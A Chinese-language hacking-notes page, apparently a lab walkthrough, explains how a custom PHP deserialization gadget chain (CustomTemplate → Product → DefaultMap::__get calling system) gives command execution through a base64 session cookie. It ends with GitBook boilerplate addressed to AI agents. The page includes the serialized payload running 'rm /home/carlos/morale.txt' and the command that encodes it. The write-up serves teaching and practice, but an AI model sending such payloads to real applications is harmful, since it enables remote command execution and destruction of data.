> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/deserialization/custom-string-for-php-deserialization-gadget-chain.md).

# 用于 PHP 反序列化 gadget 链的自定义字符串

### 为 PHP 反序列化开发自定义 Gadget 链

应用程序将会话存储在序列化的 **cookie + 经过 Base64 编码的**。在反序列化期间，某些 **魔术方法** 会自动运行（尤其是 `__wakeup()`），从而打开通往可导致命令执行的 gadget 链的途径。

```
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJyOXphcmJxN3ZncmxrdTY1dTdyb3dzeW9wODN4aWtoYyI7fQ%3d%3d
```

{% code overflow="wrap" %}

```json
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"r9zarbq7vgrlku65u7rowsyop83xikhc";}
```

{% endcode %}

以下注释如下：

```html
    <!-- TODO: 等 /cgi-bin/libs/CustomTemplate.php 更新后重构 -->
```

<figure><img src="/files/07df74c773e295c829043470cddd47650540d0cc" alt=""><figcaption></figcaption></figure>

可通过 /\~ 读取文件

```
/cgi-bin/libs/CustomTemplate.php~
```

#### 1）代码分析（`CustomTemplate.php~` 备份文件）

```php
<?php

class CustomTemplate {
    private $default_desc_type;
    private $desc;
    public $product;

    public function __construct($desc_type='HTML_DESC') {
        $this->desc = new Description();
        $this->default_desc_type = $desc_type;
        // Carlos 觉得这样很酷，把同一个函数在两个地方调用……真是个天才
        $this->build_product();
    }

    public function __sleep() {
        return ["default_desc_type", "desc"];
    }

    public function __wakeup() {
        $this->build_product();
    }

    private function build_product() {
        $this->product = new Product($this->default_desc_type, $this->desc);
    }
}

class Product {
    public $desc;

    public function __construct($default_desc_type, $desc) {
        $this->desc = $desc->$default_desc_type;
    }
}

class Description {
    public $HTML_DESC;
    public $TEXT_DESC;

    public function __construct() {
        // @Carlos，你在这些描述里到底在想什么？请重构！
        $this->HTML_DESC = '<p>This product is <blink>SUPER</blink> cool in html</p>';
        $this->TEXT_DESC = 'This product is cool in text';
    }
}

class DefaultMap {
    private $callback;

    public function __construct($callback) {
        $this->callback = $callback;
    }

    public function __get($name) {
        return call_user_func($this->callback, $name);
    }
}

?>
```

#### 自动输入点： `CustomTemplate::__wakeup()`

* 在 `unserialize()`期间，PHP 会自动调用 `__wakeup()`.
* 这里， `__wakeup()` 调用 `build_product()`.

#### 传播到 `Product`

`build_product()` 作用如下：

* `new Product($this->default_desc_type, $this->desc)`

并且在 `Product::__construct()`:

* `$this->desc = $desc->$default_desc_type;`

因此 **代码尝试访问一个动态属性** 于 `$desc` 对象上，使用 `$default_desc_type` 作为可控值。

#### 关键 Gadget： `DefaultMap::__get($name)`

如果 `$desc` 是一个 `DefaultMap` 对象：

* 它没有名为 `HTML_DESC` / `TEXT_DESC` / 或施加的其他链，
* 因此 PHP 触发 `__get($name)`,
* `__get()` 的行为： `call_user_func($this->callback, $name)`.

如果 `callback = "system"` 被设置时，结果就是 `system($name)`.

#### 2）链的目标

运行：

* `system("rm /home/carlos/morale.txt")`

#### 3）链构造（逻辑）

构造一个对象：

* `CustomTemplate->default_desc_type` = **"rm /home/carlos/morale.txt"**/（这将是 `DefaultMap`的属性名，因此传递给 `system`)
* `CustomTemplate->desc` = **DefaultMap 对象**
* `DefaultMap->callback` = **"system"**

由反序列化推导：

1. `unserialize()` → 调用 `CustomTemplate::__wakeup()`
2. `__wakeup()` → `build_product()` → `Product`
3. `Product::__construct()` 使 `$desc->$default_desc_type`
4. `$desc` 是 `DefaultMap` 且该属性不存在 → `DefaultMap::__get($name)`
5. `__get()` → `call_user_func("system", $name)` → 执行该命令

#### 4）序列化的 PHP 载荷（注意长度）

序列化载荷：

```json
O:14:"CustomTemplate":2:{s:17:"default_desc_type";s:26:"rm /home/carlos/morale.txt";s:4:"desc";O:10:"DefaultMap":1:{s:8:"callback";s:6:"system";}}
```

#### 用于 Cookie 的 Base64 编码

命令：

```bash
echo 'O:14:"CustomTemplate":2:{s:17:"default_desc_type";s:26:"rm /home/carlos/morale.txt";s:4:"desc";O:10:"DefaultMap":1:{s:8:"callback";s:6:"system";}}' | base64 -w 0 ; echo
```

<figure><img src="/files/674325826c3c1d6a88f82e7485dd8c9e4b915c52" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/deserialization/custom-string-for-php-deserialization-gadget-chain.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
